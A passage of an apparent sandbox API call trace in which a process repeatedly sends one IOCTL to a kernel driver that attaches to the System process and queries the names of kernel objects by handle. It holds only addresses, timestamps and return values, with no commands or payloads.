PsReleaseProcessExitSynchronization () returned 0x2 [0110.969] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.969] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590508) returned 0x0 [0110.969] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0110.969] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.969] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.969] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.969] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.969] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.970] PsAcquireProcessExitSynchronization () returned 0x0 [0110.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.970] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038d0900, HandleInformation=0x0) returned 0x0 [0110.970] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.970] PsReleaseProcessExitSynchronization () returned 0x2 [0110.970] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.970] ObQueryNameString (in: Object=0xfffffa80038d0900, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.970] ObfDereferenceObject (Object=0xfffffa80038d0900) returned 0x2 [0110.970] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.970] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.970] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.970] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.970] PsAcquireProcessExitSynchronization () returned 0x0 [0110.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.970] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fe8c90, HandleInformation=0x0) returned 0x0 [0110.970] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.970] PsReleaseProcessExitSynchronization () returned 0x2 [0110.970] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.970] ObQueryNameString (in: Object=0xfffffa8001fe8c90, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.970] ObfDereferenceObject (Object=0xfffffa8001fe8c90) returned 0x2 [0110.970] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.970] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.970] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.970] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.970] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.970] PsAcquireProcessExitSynchronization () returned 0x0 [0110.970] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.970] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0110.971] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.971] PsReleaseProcessExitSynchronization () returned 0x2 [0110.971] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.971] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.971] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0110.971] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.971] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.971] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.971] PsAcquireProcessExitSynchronization () returned 0x0 [0110.971] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.971] ObReferenceObjectByHandle (in: Handle=0xffffffff8000063c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0110.971] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.971] PsReleaseProcessExitSynchronization () returned 0x2 [0110.971] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.971] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.971] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0110.971] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.971] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.971] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.971] PsAcquireProcessExitSynchronization () returned 0x0 [0110.971] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.971] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0110.971] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.971] PsReleaseProcessExitSynchronization () returned 0x2 [0110.971] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.971] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.971] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0110.971] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.971] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.971] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.972] PsAcquireProcessExitSynchronization () returned 0x0 [0110.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.972] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0110.972] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.972] PsReleaseProcessExitSynchronization () returned 0x2 [0110.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.972] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.972] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0110.972] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.972] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.972] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.972] PsAcquireProcessExitSynchronization () returned 0x0 [0110.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.972] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0110.972] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.972] PsReleaseProcessExitSynchronization () returned 0x2 [0110.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.972] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.972] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0110.972] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.972] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.972] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.972] PsAcquireProcessExitSynchronization () returned 0x0 [0110.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.972] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0110.972] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.972] PsReleaseProcessExitSynchronization () returned 0x2 [0110.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.973] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0110.973] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0110.973] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.973] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.973] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.973] PsAcquireProcessExitSynchronization () returned 0x0 [0110.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.973] ObReferenceObjectByHandle (in: Handle=0xffffffff80000674, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800235e050, HandleInformation=0x0) returned 0x0 [0110.973] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.973] PsReleaseProcessExitSynchronization () returned 0x2 [0110.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.973] ObQueryNameString (in: Object=0xfffffa800235e050, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.973] ObfDereferenceObject (Object=0xfffffa800235e050) returned 0x2 [0110.973] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.973] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.973] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0110.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.973] PsAcquireProcessExitSynchronization () returned 0x0 [0110.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.973] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0110.973] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.973] PsReleaseProcessExitSynchronization () returned 0x2 [0110.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.973] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.973] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0110.973] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.973] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.973] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.974] PsAcquireProcessExitSynchronization () returned 0x0 [0110.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.974] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0110.974] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.974] PsReleaseProcessExitSynchronization () returned 0x2 [0110.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.974] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0110.974] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0110.974] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.974] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.974] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.974] PsAcquireProcessExitSynchronization () returned 0x0 [0110.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.974] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0110.974] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.974] PsReleaseProcessExitSynchronization () returned 0x2 [0110.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.974] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.974] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0110.974] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.974] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.974] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.974] PsAcquireProcessExitSynchronization () returned 0x0 [0110.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.974] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0110.974] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.974] PsReleaseProcessExitSynchronization () returned 0x2 [0110.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.974] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.975] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0110.975] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.975] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.975] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0110.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.975] PsAcquireProcessExitSynchronization () returned 0x0 [0110.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.975] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0110.975] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.975] PsReleaseProcessExitSynchronization () returned 0x2 [0110.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.975] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.975] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0110.975] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.975] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.975] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0110.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0110.975] PsAcquireProcessExitSynchronization () returned 0x0 [0110.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0110.975] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0110.975] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0110.975] PsReleaseProcessExitSynchronization () returned 0x2 [0110.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0110.975] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0110.975] ObfDereferenceObject (Object=0xfffffa8002277340) returned 0x2 [0110.975] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0110.976] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0110.976] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0110.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 